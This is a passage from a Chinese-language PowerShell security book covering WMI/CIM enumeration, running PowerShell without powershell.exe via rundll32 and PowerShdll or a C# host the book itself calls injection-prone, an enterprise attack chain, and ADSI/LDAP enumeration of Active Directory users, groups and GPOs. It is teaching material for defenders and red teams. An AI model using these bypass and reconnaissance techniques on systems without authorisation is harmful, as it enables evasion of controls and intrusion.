$UserAccount = Get-CimInstance -ClassName Win32_UserAccount -Filter "Name LIKE 'vicvega%'"
$UserAccount.Disabled = $false
Set-CimInstance -InputObject $UserAccount
首先,你可以使用 Get-CimInstance cmdlet 来检索与指定筛选条件匹配的 Win32_UserAccount 类的实例。在此示例中,我们正在查找用户名以 vicvega 开头的用户帐户。
然后,你可以修改检索到的用户帐户实例的 Disabled 属性,将其设置为 $false。最后,你可以使用 Set-CimInstance cmdlet 将更新后的用户帐户实例保存到 CIM 仓库中。
使用以下命令验证更新后的用户帐户实例是否成功保存:
> (Get-CimInstance -ClassName Win32_UserAccount -Filter "Name LIKE 'vicvega%'").Disabled
枚举
WMI 使用 SQL 的一个子集,称为 WMI 查询语言(WQL)。WQL 仅支持一部分命令,相关文档请参见:docs.microsoft.com/en-us/windows/win32/wmisdk/wql-sql-for-wmi。
查询有不同的类型——数据查询、事件查询和模式查询。在本书中,我们主要关注最常用的类型:数据查询。
如果你想了解更多其他查询类型,建议参考官方文档:docs.microsoft.com/en-us/windows/win32/wmisdk/querying-with-wql。
数据查询仅用于检索数据,例如类实例或数据关联信息。
查询类时,你可以使用 WQL 或通过类名查询该类。例如,要查询名称为 Administrators 的组,你可以查询该类,然后使用 PowerShell 进行筛选,或者使用 WQL 进行查询并筛选。
这是一个查询类并使用 PowerShell 进行筛选的示例:
> Get-CimInstance -ClassName win32_group -filter "name='Administrators'"
这展示了如何使用 WQL 进行查询和筛选:
> Get-CimInstance -Query "select * from win32_group where name = 'Administrators'"
两种方法将产生相同的输出:
图 5.36 – 使用不同方法进行查询
你知道吗?
如果有机会,你应该始终使用 WQL 预筛选,因为这会提高查询的性能。如果先查询然后使用 PowerShell 进行筛选,计算结果会更慢。
在本节中,我将为您提供一些使用 CIM/WMI 的枚举示例。您可以根据需要调整它们,或改进现有的检测方法。
使用以下命令枚举进程:
> Get-CimInstance -ClassName win32_process
使用 Get-CimInstance 不仅可以检索进程信息,还可以使用 WMI 显示默认 .NET 输出对象中不可用的 CommandLine 属性:
> Get-CimInstance -ClassName win32_process | Select-Object ProcessId, Name, CommandLine
使用以下命令枚举现有的用户账户:
> Get-CimInstance -Query "select * from win32_useraccount" | Select-Object -Property *
通过使用 WMI 枚举用户,您不仅可以枚举本地用户,还可以在执行一个命令时枚举域用户。
WMI 还为红队人员提供了巨大优势:如果您仅使用 PowerShell,您需要安装 ActiveDirectory 模块才能查询域用户。而使用 WMI,您只需在执行命令的计算机加入域的情况下,简单枚举所有域用户。
除了其他属性,Get-CimInstance 还返回 AccountType 属性,指示该账户是 普通账户 (512)、工作站账户 (4096),还是例如备份域控制器的账户(服务器信任账户,8192)。数字 256 表示它是一个 临时重复账户,而数字 2048 表示一个 跨域 信任账户。
您可以通过以下方式枚举本地组和组成员:
> Get-CimInstance -Query "select * from win32_group"
> Get-CimInstance -Query "select * from win32_groupuser"
同样,类似于 win32_useraccount 表,win32_group 和 win32_groupuser 表示本地和域组。
WMI 和 CIM 理解不同实例之间的关系,因此您甚至可以结合表格,找出哪些账户是本地管理员的成员。Get-CimAssociatedInstance cmdlet 允许您获取与 -InputObject 相关的对象:
> $group = Get-CimInstance -ClassName win32_group -filter "name='Administrators'"
> Get-CimAssociatedInstance -InputObject $group -ResultClassName Win32_UserAccount
要获取有关当前安装的修补程序和更新的更多信息,您可以查询 win32_quickfixengineering 表:
> Get-CimInstance -Query "select * from win32_quickfixengineering"
通过查询 Win32_StartupCommand 实例,找出哪些进程、程序或脚本配置为在操作系统启动时运行:
> Get-CimInstance -Query "select * from Win32_StartupCommand"
WMI/CIM 数据库位于哪里?
顺便提一下,如果您一直好奇 WMI 实际上位于 Windows 系统的哪里,WMI 数据库本身可以在 $Env:windir\System32\wbem\Repository 路径下找到。
以下截图显示了此文件夹的上下文。
图 5.37 – WMI 数据库
在这里,您通常可以找到以下文件:
INDEX.BTR(“二叉树索引”):
所有已导入 OBJECTS.DATA 的管理对象的索引。
OBJECTS.DATA:
所有由 WMI 管理的对象。
MAPPING[1-3].MAP:
关联 INDEX.BTW 和 OBJECTS.DATA 之间的数据。
既然我们已经讨论了出于安全目的监控和操控 WMI 的重要性,接下来我们将讨论另一个话题:虽然有些人认为 PowerShell 是一个安全威胁,并主张阻止powershell.exe,攻击者仍然可以找到方法来运行 PowerShell,即使powershell.exe被阻止执行。在接下来的部分,我们将探讨如何实现这一点。
在没有 powershell.exe 的情况下运行 PowerShell
要执行 PowerShell 命令,通常需要先启动powershell.exe。但可能会有一些情况,传统方式下无法或不允许运行 PowerShell。
在这些情况下,PowerShell 仍然可以通过其他方式运行,比如通过Windows Script Host(WSH)、WMI、.NET 框架等。
使用“living off the land”二进制文件调用程序集函数
LOLbin一词是living off the land binaries的缩写,最早由恶意软件研究人员 Christopher Campbell 和 Matt Graeber 在 2013 年 DerbyCon 3 大会上提出。在关于如何称呼那些可以被滥用来运行恶意代码的二进制文件的 Twitter 讨论中,LOLBins一词首次出现,经过一次(高度科学的)Twitter 投票,LOLBins和LOLScripts正式成为社区中常用的术语。
LOLbin 指的是合法的、预先安装的系统二进制文件或应用程序,攻击者可以利用它们在被攻击的系统上执行恶意活动。攻击者将这些 LOLbin 作为其战术、技巧和程序(TTPs)的一部分,用来躲避安全解决方案的检测,因为这些二进制文件通常被认为是安全的,且被允许在系统上执行。
基本上,PowerShell 也被视为一个 LOLbin,因为 PowerShell 被作为合法的管理员工具添加到系统中。不过幸运的是,对于蓝队成员来说,PowerShell 提供了很多可能性,不仅可以监控,还可以限制仅限于预配置的用例以及用户。其他可以作为 LOLbin 的合法管理员工具示例包括cmd、WMI、regsvr32.exe、rundll32.exe、mshta.exe、certutil.exe、wmic.exe、msbuild.exe、installutil.exe、regsvcs.exe、regasm.exe、PSExec.exe等。
PSExec.exe是 LOLbin 的一个典型例子:尽管许多管理员仍在使用它执行管理任务,但攻击者也发现这个工具非常有用,特别是在传递哈希和横向移动方面,攻击者非常喜欢这个工具。
有时候,LOLbin 也仅仅用于混淆,以一种防御者可能忽视的方式调用操作——例如,rundll.exe;该可执行文件可以加载并运行 32 位 DLL 文件并执行函数。请注意,它只能执行那些专门为rundll32.exe编写的函数。
如果你知道如何使用 C/C++/C# 编写 DLL,rundll32.exe 可以运行自定义的 DLL——攻击者也可以利用这个能力运行自己的 DLL 并绕过软件限制。
由于用 C/C++/C# 编写自己的 DLL 足以写成一本书,因此本书不会详细介绍如何创建 DLL。在下一个示例中,我们将使用一个已经存在的 DLL,PowerShdll.dll。
PowerShdll.dll是由 GitHub 用户 p3nt4 编写并发布的:github.com/p3nt4/PowerShdll。
下载后,您可以直接使用rundll32或其他由PowerShdll支持的 LOLbin,从cmd执行以下命令:
> rundll32 PowerShdll,main Get-Process
看,这个Get-Process cmdlet 是通过cmd执行的,而完全没有接触到powershell.exe,如以下截图所示:
图 5.38 – 通过 PowerShdll 和 rundll32 从 cmd 执行 PowerShell 命令
还有一些类似于PowerShdll的其他项目,可以被红队人员或攻击者使用,例如NoPowerShell、PowerLessShell、p0wnedShell等。
二进制可执行文件
还有一些项目,例如NotPowerShell(nps.exe),它们允许你通过自己的编译二进制文件运行 PowerShell:
> nps.exe <powershell single command>
你可以在 GitHub 上找到NoPowerShell项目:github.com/Ben0xA/nps。
使用 C# 从 .NET Framework 执行 PowerShell
运行 PowerShell 而不使用powershell.exe的一种方法是使用 .NET Framework。你可以通过在 Visual Studio 中创建一个 C# 控制台应用程序来实现,代码可以在本书的 GitHub 仓库中找到:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter05/RunPoSh。
在这个示例中,我们使用System.Management.Automation命名空间中的 PowerShell 类,您可以在此处找到其定义:learn.microsoft.com/en-us/dotnet/api/system.management.automation.powershell。
要在没有错误的情况下编译此程序,你需要在 Visual Studio 中将System.Management.Automation.dll作为引用添加:
-
右键点击解决方案资源管理器中的依赖项项目,选择添加
项目引用。 -
在引用管理器中,选择浏览并导航到包含
System.Management.Automation.dll程序集的文件夹。默认位置为C:\Program Files (****x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0。 -
选择程序集并点击添加。
-
保存并构建你的项目。
新编译的代码允许你在不执行powershell.exe的情况下执行 PowerShell 命令或脚本,并仅依赖 PowerShell 类来执行 PowerShell 命令。这个示例中的 C# 代码接受所有命令行参数,将它们连接成一个字符串,并将该字符串作为 PowerShell 脚本执行。然后程序调用 PowerShell 脚本并捕获输出,最后将输出打印到控制台。
RunPosh.exe - 可能的命令注入风险!
请注意,RunPosh.exe 易受到简单的命令注入攻击。它不应在任何生产环境中使用,仅用于演示如何在不运行powershell.exe的情况下执行 PowerShell。
在编译RunPosh.exe后,你可以例如打开一个cmd命令行,并执行RunPoSh.exe Get-NetAdapter,以使用 PowerShell 获取所有网络适配器。
图 5.39 – 在不使用 powershell.exe 的情况下执行 PowerShell 命令
有许多其他示例展示了如何在不依赖于powershell.exe的情况下执行 PowerShell。本章讨论的只是其中的一些,目的是让你理解实现这一目标的不同方法。
摘要
在本章中,我们探讨了 PowerShell 如何访问各种系统和 API 资源,如 Windows 注册表、Windows API(包括 COM 和 .NET 框架)以及 WMI。我们还学习了如何在不使用powershell.exe可执行文件的情况下运行 PowerShell。
本章提供了许多示例,展示了红队成员或对手如何利用这些 API 和资源。它还旨在帮助蓝队成员洞察对手的行为,并学习如何利用 PowerShell 通过 CIM 事件来监控和检测可疑行为。
到本章结束时,你应该对如何使用 PowerShell 与系统资源和 API 交互有了更深入的理解,并了解如何将其用于进攻性和防御性目的。
当我们谈论 PowerShell 安全时,身份验证和身份扮演着重要角色。让我们在下一章从 PowerShell 角度看一下 Active Directory 安全。
进一步阅读
如果你想深入探索本章提到的一些主题,可以参考以下资源:
API:
- 低级 Windows API 访问 PowerShell:
www.fuzzysecurity.com/tutorials/24.html
CIM/WMI:
- 使用 PowerShell 操作 CIM 信息:
devblogs.microsoft.com/scripting/use-powershell-to-manipulate-information-with-cim/
COM 劫持:
-
破解 Windows 组件对象模型(COM):
www.221bluestreet.com/offensive-security/windows-components-object-model/demystifying-windows-component-object-model-com -
acCOMplice:
github.com/nccgroup/acCOMplice -
COM 劫持技术,David Tulis(DerbyCon):
www.youtube.com/watch?v=pH14BvUiTLY -
James Forshaw 的 OleViewDotNet:
github.com/tyranid/oleviewdotnet -
COM 类对象和 CLSID:
learn.microsoft.com/en-us/windows/win32/com/com-class-objects-and-clsids -
劫持 .NET 以防御 PowerShell:
arxiv.org/ftp/arxiv/papers/1709/1709.07508.pdf -
玩转 COM 对象 - 第一部分:
mohamed-fakroud.gitbook.io/red-teamings-dojo/windows-internals/playing-around-com-objects-part-1 -
IUnknown::QueryInterface(REFIID,void**) 方法 (unknwn.h):
learn.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void) -
IUnknown 接口 (unknwn.h):
learn.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iunknown -
IUnknown::QueryInterface(Q**) 方法 (unknwn.h):
learn.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(q)
.NET 框架:
-
.NET 中的程序集:
learn.microsoft.com/en-us/dotnet/standard/assembly/ -
全局程序集缓存:
learn.microsoft.com/en-us/dotnet/framework/app-domains/gac -
.NET 框架版本和依赖关系:
docs.microsoft.com/en-us/dotnet/framework/migration-guide/versions-and-dependencies
运行 PowerShell 不使用 powershell.exe:
-
NoPowerShell:
github.com/bitsadmin/nopowershell -
PowerLessShell:
github.com/Mr-Un1k0d3r/PowerLessShell -
p0wnedShell:
github.com/Cn33liz/p0wnedShell
你还可以在 GitHub 仓库中找到本章提到的所有链接,链接位于第五章 – 无需手动输入每个链接:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter05/Links.md。
第六章:活动目录 - 攻击与缓解
当我们谈论 PowerShell 安全时,一个重要因素是理解身份的重要性。在组织遭受攻击时,被盗取和滥用的不是 PowerShell,而是身份,用于组织内部的横向移动,以窃取更多身份并尽可能找到更多身份。
对手的目标是找到特权身份,例如域管理员或共享本地管理员凭据,以控制整个环境。
而且,如果我们谈论身份,其中最重要的资产之一就是活动目录,这是由微软开发的目录服务,用于提供身份验证和管理设备配置。在大多数组织中,它是核心,所有身份都被保留和管理在这里。
因此,每当我们验证用户,远程连接或完全使用 PowerShell 时,大多数情况下都涉及公司活动目录中的用户帐户。
在我看来,每个对 PowerShell 安全感兴趣的安全专业人员也应该对身份验证,身份以及最重要的活动目录有一些扎实的知识。这就是我们将在本章中探讨的内容。我们将讨论许多理论内容,但也调查红队和蓝队如何使用 PowerShell。
当然,涉及活动目录安全时还有很多内容 - 您可以仅使用活动目录安全内容编写一本完整的书。在本章中,我们将讨论有关 PowerShell 安全最重要的内容,包括以下主题:
-
从安全角度介绍活动目录
-
枚举和滥用用户帐户
-
特权帐户和组
-
访问权限和枚举 ACL
-
身份验证协议(局域网管理器,NTLM 和 Kerberos)
-
攻击活动目录身份验证
-
凭证窃取和横向移动
-
微软基线和安全合规工具包
技术要求
要充分利用本章内容,请确保您具备以下条件:
-
PowerShell 7.3 及以上
-
已安装 Visual Studio Code
-
访问第六章的 GitHub 存储库:
从安全角度介绍活动目录
活动目录(AD)是一个目录服务,您可以用来管理基于 Windows 的网络。AD 于 2000 年发布,迅速成为企业身份管理的标准。
使用 AD,您可以使用域和组织单位来安排计算机,服务器和连接的网络设备。您可以在层次结构中对其进行结构化,并在企业林中使用域来逻辑上将不同的子区域彼此分开。
域或企业管理员角色是域或林中最强大的角色。虽然域管理员对其管理的域拥有完全控制权,但企业管理员对林中所有域以及一些额外的林级属性都有完全控制权。因此,应非常明智和小心地分配这些角色。
大多数权限也可以委派给细分角色以确定谁可以做什么,因此,账户不一定需要分配域管理员角色以获得类似的权限。
如果您不定期审计委派的权限,很难了解谁被允许做什么。因此,在我生活中看到的许多环境中,当涉及分配权限时往往混乱不堪。这自然也使攻击者更容易通过滥用看似不起眼的账户来完成任务。
因此,如果您正在管理您的 AD,不仅要控制权限,还要保护 AD 本身。
AD 是组织中使用的大多数设备和账户的大集合。它不仅帮助攻击者枚举环境,还使用一个大数据库来保存所有账户的密码哈希:ntds.dit。
因此,不仅需要保护好特权账户,还需要保护好特权工作站(如安全管理员工作站)和用于管理 AD 的服务器。
一旦对手进入环境(例如通过钓鱼攻击),他们就开始枚举环境以寻找有价值的目标。
攻击如何在企业环境中起作用
企业环境中的攻击通常都遵循相同的模式。
要访问企业环境,攻击者通常会发送钓鱼电子邮件或找到外部面向服务器的漏洞。如果公司遵循了保护其环境的最佳实践(例如将其 Web 服务器放置在非军事区(DMZ)中,使用Web 应用程序防火墙(WAF),并遵循安全编码的最佳实践),后者并不容易。
如果您对 WAF 不熟悉,它是一种专门设计用于保护 Web 应用程序的防火墙类型。它监视和过滤 Web 应用程序与互联网之间的流量,检测并阻止诸如 SQL 注入和跨站脚本(XSS)攻击等攻击。通过使用 WAF,公司可以显著降低攻击者利用其 Web 应用程序漏洞的风险。
因此,最简单和最脆弱的环节是用户。攻击者向用户发送钓鱼电子邮件(步骤 1),其中包含恶意文档或指向恶意网页的链接。
如果用户打开电子邮件并允许恶意软件在其设备上执行(第 2 步),则恶意软件被执行,并且 - 根据恶意软件的开发方式 - 它开始停用常见的防御措施,如Antimalware Scan Interface(AMSI)和Antivirus(AV)服务。通常,它会尝试窃取设备上可用的所有凭证。我们稍后将在本章节中查看在凭证窃取部分中有哪些凭证 - 现在,只需想象凭证就像是一把钥匙卡;用户可以使用它们访问只有他们被允许访问的资源。
图 6.1 – 凭证窃取和横向移动
现在攻击者已经可以访问环境中的一台计算机,攻击者尝试在该计算机上建立持久性(例如,配置定时任务或创建自动启动项目)。然后,枚举开始以查找更多设备和有价值的身份。
对于攻击者来说,AD 是目标:在这个身份数据库中,对手可以窃取整个环境的所有身份和凭证。如果对手只是妥协了普通用户,他们还不能访问 AD 服务器以提取更多身份,因此他们需要通过窃取更多身份和妥协更多系统来找到最短路径。
有一些工具,例如BloodHound,可以自动化枚举阶段,以便在几秒钟内揭示通往 AD 管理员的最短路径。
接下来,更多计算机和服务器被入侵,并且攻击者进行横向移动,使用窃取的凭证(第 3 步)。
在目标计算机上,再次执行相同的步骤:禁用检测,建立持久性并提取当前的凭证。
此步骤重复进行,直到找到并提取有价值的高特权凭证(最好是域或企业管理员凭证)(第 4 步)。
带有这些高特权凭证,对手现在可以访问域控制器和 AD 数据库(第 5 步)并建立持久性。根据对手的目标,他们现在可以执行他们的计划 - 例如,发动勒索软件攻击来加密整个环境或者保持不被发现并持续提取信息。
ADSI、ADSI 加速器、LDAP 和 System.DirectoryServices 命名空间
在我们深入讨论枚举和 AD 攻击之前,让我们首先看一些您可以用来访问和操作诸如 AD 之类的目录服务的最重要工具。
其中一个工具被称为Active Directory Service Interfaces(ADSI),这是用于访问诸如 AD 之类的目录服务的基于COM(组件对象模型)的接口。
在使用 ADSI 时,开发人员可以使用 轻量级目录访问协议(LDAP)过滤器来定义目录查询的搜索条件。LDAP 过滤器允许开发人员构建复杂的查询,这些查询可以根据多种条件(包括属性值、对象类等)返回特定的目录数据集。
要获取所有用户账户,LDAP 过滤器查询将是 (sAMAccountType=805306368)。
如果你将useraccountcontrol属性与“密码永不过期”选项设置的所有常规账户结合使用,LDAP 过滤器将如下所示:(&(sAMAccountType=805306368)(useraccountcontrol=66048))。
你可以参考这篇文章,获得有关 LDAP 过滤器的有用概述:social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx。
ADSI 是访问 AD 中公开的分层命名空间的接口,类似于文件系统,表示目录中的对象,如用户、组和计算机及其属性。ADSI 可以通过多种编程语言(包括 C++、VBScript 和 PowerShell)使用,用于访问和操作目录服务。
System.DirectoryServices 命名空间是 .NET 框架的一部分,提供与目录服务(包括 AD)交互的类和方法。它是建立在 ADSI 之上的。System.DirectoryServices 包含用于搜索、修改和检索目录服务中的信息的类,以及用于管理安全性和身份验证的类。
使用 System.DirectoryServices 命名空间时,实际上是在底层使用 ADSI 技术。然而,你是通过一组更高层次的类和方法与 ADSI 进行交互,这些类和方法提供了一个更直观、更易用的接口,用于与目录服务进行交互。
通过使用 DirectoryServices,你可以轻松构建自己的函数,如下所示的示例:
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(&(sAMAccountType=805306368)(givenName=Miriam))"
$searcher.FindAll() | ForEach-Object {
Write-Output "Name: $($_.Properties['cn'])"
Write-Output "Username: $($_.Properties['sAMAccountName'])"
Write-Output "Email: $($_.Properties['mail'])"
Write-Output ""
}
在这个示例中,我们首先创建一个新的 System.DirectoryServices.DirectorySearcher 类实例,该类用于搜索与 AD 中特定条件匹配的目录条目。
Filter 属性设置为一个字符串,使用 LDAP 语法定义搜索条件。在此情况下,过滤器指定搜索应返回所有具有给定名称Miriam的用户对象。最后,调用 FindAll() 方法执行搜索,并将结果传递给 ForEach-Object 循环,以显示找到的每个用户的信息。
在 PowerShell 中,System.DirectoryServices 命名空间可以通过创建表示目录条目的对象,并使用 DirectorySearcher 对象来查询 AD,查找符合特定条件的条目。
后来,微软推出了 ADSI 加速器,这些加速器为访问特定目录数据类型提供了简化的语法。这些类型加速器允许你使用简化语法;例如,[adsi] 类型加速器表示 System.DirectoryServices.DirectoryEntry 类,而 [adsisearcher] 则表示 System.DirectoryServices.DirectorySearcher 类。
例如,以下 PowerShell 代码直接使用 System.DirectoryServices 类:
$DistinguishedName = "LDAP://OU=PSSec Computers,DC=PSSec,DC=local"
([System.DirectoryServices.DirectoryEntry]$DistinguishedName).Children
这相当于以下使用 [****adsi] 加速器的代码:
$DistinguishedName = "LDAP://OU=PSSec Computers,DC=PSSec,DC=local"
([adsi]$DistinguishedName).Children
如果我们将之前的代码示例重写,以查找所有名字为 Miriam 的用户,并使用 [adsisearcher] 加速器代替 DirectoryServices,那么代码将如下所示:
([adsisearcher]"(&(sAMAccountType=805306368)(givenName=Miriam))").FindAll() | ForEach-Object {
Write-Output "Name: $($_.Properties['cn'])"
Write-Output "Username: $($_.Properties['sAMAccountName'])"
Write-Output "Email: $($_.Properties['mail'])"
Write-Output ""
}
通过使用 ADSI、ADSI 加速器、LDAP 过滤器和 System.DirectoryServices 类,你可以轻松地创建自己的自定义函数来处理 AD。这些函数可以用来操作现有条目,也可以用于从 AD 查询信息,这在进行枚举时非常有用。
枚举
正如我们在本章中早些时候所学到的,枚举通常是获取环境更多细节的第一步(并根据对手可以访问的内容反复进行)。枚举有助于找出可用的资源以及哪些访问权限可能被滥用。
当然,枚举不仅对红队人员有帮助,对于蓝队人员定期审计权限也同样重要。在攻击者发现之前,最好能先看到自己环境中可以枚举的内容并进行修复或调整。
在 AD 中,所有能够访问公司网络的用户都可以枚举所有用户账户,以及(高权限的)组成员身份。在 Azure Active Directory** (AAD**) 中,所有通过互联网访问 Office 365 服务的用户都可以枚举其租户中的 AAD 用户账户和组成员身份。
让我们从本章开始研究 AD 中的枚举。请参阅下一章以了解 AAD 中枚举的工作原理。
在 AD 中,特别感兴趣的是 哪些用户 被映射到 哪些组,以及 谁被允许做什么。驻留在 特权组 中的账户是特别有价值的攻击目标。
了解域中 有哪些用户和计算机 也非常有用,可以帮助规划后续步骤,并找出哪些账户拥有哪些 访问控制列表(ACLs) 和哪些 组织单位(OU)。
用户权限枚举也非常有用,不仅在域级别,而且在单一系统中也同样适用。
组策略对象(GPOs) 可用于管理域中的计算机和用户。因此,如果一个保护不严的账户具有管理 GPO 的权限,这可能会被滥用来劫持受影响的机器和账户。
最后,如果环境中有多个信任关系,了解这些信任关系会非常有价值,因为它们为攻击者打开了新的攻击向量。
有一些模块可供使用,比如PowerView,这是 Will Schroeder 编写的,属于PowerSploit的一部分,能够帮助你进行枚举。请注意,PowerSploit 仓库已经不再支持,并且未来不会继续开发。
还有一些很棒的工具,如BloodHound,由 Andy Robbins、Rohan Vazarkar 和 Will Schroeder 编写,帮助你找到通向域管理员账户的最短路径(通常通过横向移动和凭证盗窃)。
但是,通过利用 AD 模块中可用的基本 cmdlet,也可以枚举用户、组、ACL、信任关系等信息。
我编写了一些脚本,供红队和蓝队用于枚举。这些脚本可以从本书的 GitHub 仓库下载:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter06。
但让我们来看一下对手用来枚举用户、组和有价值攻击目标的不同方式。请注意,这不是一个完整的列表,因为我们主要关注的是身份和横向移动。
枚举用户账户
每次攻击通常从一个被破坏的用户账户开始。一旦对手在机器上建立了立足点,就会利用它进一步了解环境,通常还会窃取更多身份信息并进行横向移动。
通常情况下(至少我希望并建议如此),被攻破的用户没有管理员权限,因此对手需要提升权限。这可以通过利用本地执行的软件漏洞来完成。但往后看,了解哪些账户和/或组具有哪些权限,不仅是在本地机器上,甚至可能是在其他机器上,也是非常有趣的。
因此,蓝队成员定期审计用户权限非常重要——不仅是在用户机器上,而且还包括在服务器上配置的权限。
了解 AD 中存在哪些用户账户,对攻击者来说可能非常有价值。这些信息不仅可以用来将账户映射到组和配置的用户权限,还可以在攻击者知道存在哪些账户后发起密码喷射攻击。
通过使用Get-ADUser cmdlet,它是ActiveDirectory模块的一部分,你可以获取 AD 中所有存在的用户账户:
> Get-ADUser -Filter *
ActiveDirectory 模块是远程服务器管理工具(RSAT)的一部分,可以单独安装:docs.microsoft.com/en-us/powershell/module/activedirectory。
该模块预安装在所有域控制器上。通常,管理员也会安装此模块以进行远程管理。
尽管可以使用诸如 PowerView 或标准 AD cmdlet 等工具检索 AD 中的所有用户帐户,但需要注意 PowerView 不再受支持,并且目标系统上可能并不总是存在ActiveDirectory模块。因此,了解可以用于枚举的其他工具是很有必要的。
其中一种替代方法是使用带有过滤器的[adsisearcher]加速器,例如**(sAMAccountType=805306368)**。这允许在 AD 中搜索而不依赖外部工具或模块,如以下示例所示:
$domain = Get-WmiObject -Namespace root\cimv2 -Class Win32_ComputerSystem | Select-Object -ExpandProperty domain
$filter = "(sAMAccountType=805306368)"
$searcher = [adsisearcher]"(&(objectCategory=User)$filter)"
$searcher.SearchRoot = "LDAP://$domain"
$searcher.FindAll() | ForEach-Object {$_.GetDirectoryEntry().Name}
使用此代码片段,我们将检索指定域中所有用户帐户的列表。通过熟悉 AD 搜索的不同方法,您可以增加在各种环境中成功的机会。
sAMAccountType属性是一个整数值,指定在 AD 中正在创建的对象类型。以下是您可以用于枚举的常见sAMAccountType属性的概述:
-
805306368: 普通用户帐户 -
805306369: 计算机帐户 -
805306370: 安全组 -
805306371: 分发组 -
805306372: 具有域本地范围的安全组 -
805306373: 具有域本地范围的分发组 -
805306374: 具有全局范围的安全组 -
805306375: 具有全局范围的分发组 -
805306376: 具有全局范围的安全组 -
805306377: 具有全局范围的分发组
实际上,所有经过身份验证的用户都可以读取所有用户、组、OU 和其他对象,这使得枚举对于对手来说是一项容易的任务。
要演示如何使用 RSAT 工具进行枚举和不使用 RSAT 工具进行枚举的情况,我编写了Get-UsersAndGroups.ps1和Get-UsersAndGroupsWithAdsi.ps1脚本,您可以在本书的 GitHub 存储库中找到:
枚举 GPO
要枚举当前环境中链接的 GPO,您可以使用 ADSI 加速器:
通过使用[adsi]加速器,您可以提供DistinguishedName路径以显示gplink属性,该属性将显示链接到该特定路径的 GPO。要查询链接到PSSecComputers OU(OU=PSSecComputers,DC=PSSec,DC=local)的 GPO,我们可以使用以下代码片段来查询:
$DistinguishedName = "LDAP://OU=PSSecComputers,DC=PSSec,DC=local"
$obj = [adsi]$DistinguishedName
$obj.gplink
以下截图显示了此查询的结果:
图 6.2 – 使用 ADSI 加速器查询 GPO
你还可以使用[adsisearcher]过滤与环境相关联的 GPO,如下所示:
$GpoFilter = "(objectCategory=groupPolicyContainer)"
$Searcher = [adsisearcher]$GpoFilter
$Searcher.SearchRoot = [adsi]"LDAP://DC=PSSec,DC=local"
$Searcher.FindAll() | ForEach-Object {
Write-Host "GPO Name:" $_.Properties.displayname
Write-Host "GPO Path:" $_.Properties.adspath
}
该域内所有可用的 GPO 将被返回,如下图所示:
图 6.3 – 使用 adsisearcher 加速器枚举 GPO
如果可用,亦可使用ActiveDirectory模块查询与你的环境相关联的 GPO。以下代码片段展示了如何实现这一点:
$GpoList = Get-GPO -All -domain "PSSec.local"
$GpoList | ForEach-Object {
Write-Host "GPO Name:" $_.DisplayName
Write-Host "GPO Path:" $_.Path
}
除了枚举 GPO,枚举组也是一个重要部分,我们将在下一节中重点讨论。
枚举组
了解哪些用户帐户属于哪个组对于攻击者来说是非常宝贵的信息。通过这些信息,他们可以快速了解某些帐户是否可能访问其他计算机。
但这也是蓝队员应定期进行的任务;通常,系统和访问权限并未得到足够加固,因此了解哪些用户属于哪个 AD 组并进行调整非常有价值。
从长远来看,实施监控也很有意义,这样如果某个 AD 组的成员发生了意外变化,你可以立即收到警报。
为了开始枚举你的 AD 组,我为你写了一个简单的脚本,显示组以及它们的成员:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter06/Get-UsersAndGroups.ps1。
下载脚本后,你可以直接使用它并将输出进一步处理为 PowerShell 对象,或者可以将其通过管道传递给Export-Csv函数,这样可能会更方便进行分析:
> .\Get-UsersAndGroups.ps1 | Export-Csv -Path C:\tmp\ADGroups.csv
输出被导出为.csv文件,路径为C:\tmp\ADGroups.csv。现在,你可以根据需要处理该文件。
一个选择是将其作为外部数据导入 Excel,并创建一个数据透视表,以更好地理解你的组成员关系。
由于 Excel 和 Power Pivot 不在本书的范围内,我不会解释如何操作,但有许多优秀的资源可以帮助你深入了解这些技术,包括以下内容:
-
导入或导出文本(
.txt或 .csv)文件:support.microsoft.com/en-us/office/import-or-export-text-txt-or-csv-files-5250ac4c-663c-47ce-937b-339e391393ba -
教程:将数据导入 Excel 并创建数据 模型:
support.microsoft.com/en-us/office/tutorial-import-data-into-excel-and-create-a-data-model-4b4e5ab4-60ee-465e-8195-09ebba060bf0 -
创建数据透视表以分析工作表 数据:
support.microsoft.com/en-gb/office/create-a-pivottable-to-analyze-worksheet-data-a9a84538-bfe9-40a9-a8e9-f99134456576
我创建了一些从我的PSSec演示实验室导出的示例文件,你可以在本书的 GitHub 仓库中找到它们:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter06/EnumeratingGroups。
这些示例仅是如何导入.csv文件并创建 PowerPivot 表格以进一步分析环境中 AD 组成员身份的建议。
特权账户和组
特权账户是指那些比普通账户拥有更多权限和特权的账户,因此需要特别注意其安全性。
在 AD 中也存在一些内建特权账户,例如管理员账户、访客账户、HelpAssistant 账户和krbtgt 账户(负责 Kerberos 操作)。
如果你想阅读更多关于 AD 内建账户的内容,请参考官方文档:learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-default-user-accounts。
AD 中的内建特权组
在 AD 中,有一些预定义的角色,例如企业管理员或域管理员角色,但这些并不是唯一的。
这些预定义角色位于你的域的Builtin容器中。要查询它,你可以使用Get-ADGroup cmdlet 并指定域特定的Builtin容器的Distinguished Name(DN)作为-Searchbase;使用这个参数,你可以定义执行命令的单位。
所以,如果我想在Builtin容器中搜索我的PSSec.local域,我会指定CN=Builtin,DC=PSSec,DC=local作为-Searchbase:
Get-ADGroup -SearchBase 'CN=Builtin,DC=PSSec,DC=local' -Filter * |** **Format-Table Name,GroupScope,GroupCategory,SID
因为我想找到所有内建账户,所以我指定了一个通配符(*****)作为-Filter。将命令通过管道传递给Format-Table,可以让你定义在格式化表格中要查看哪些数据,下面的截图展示了一个示例:
图 6.4 – 显示所有现有的 AD 组
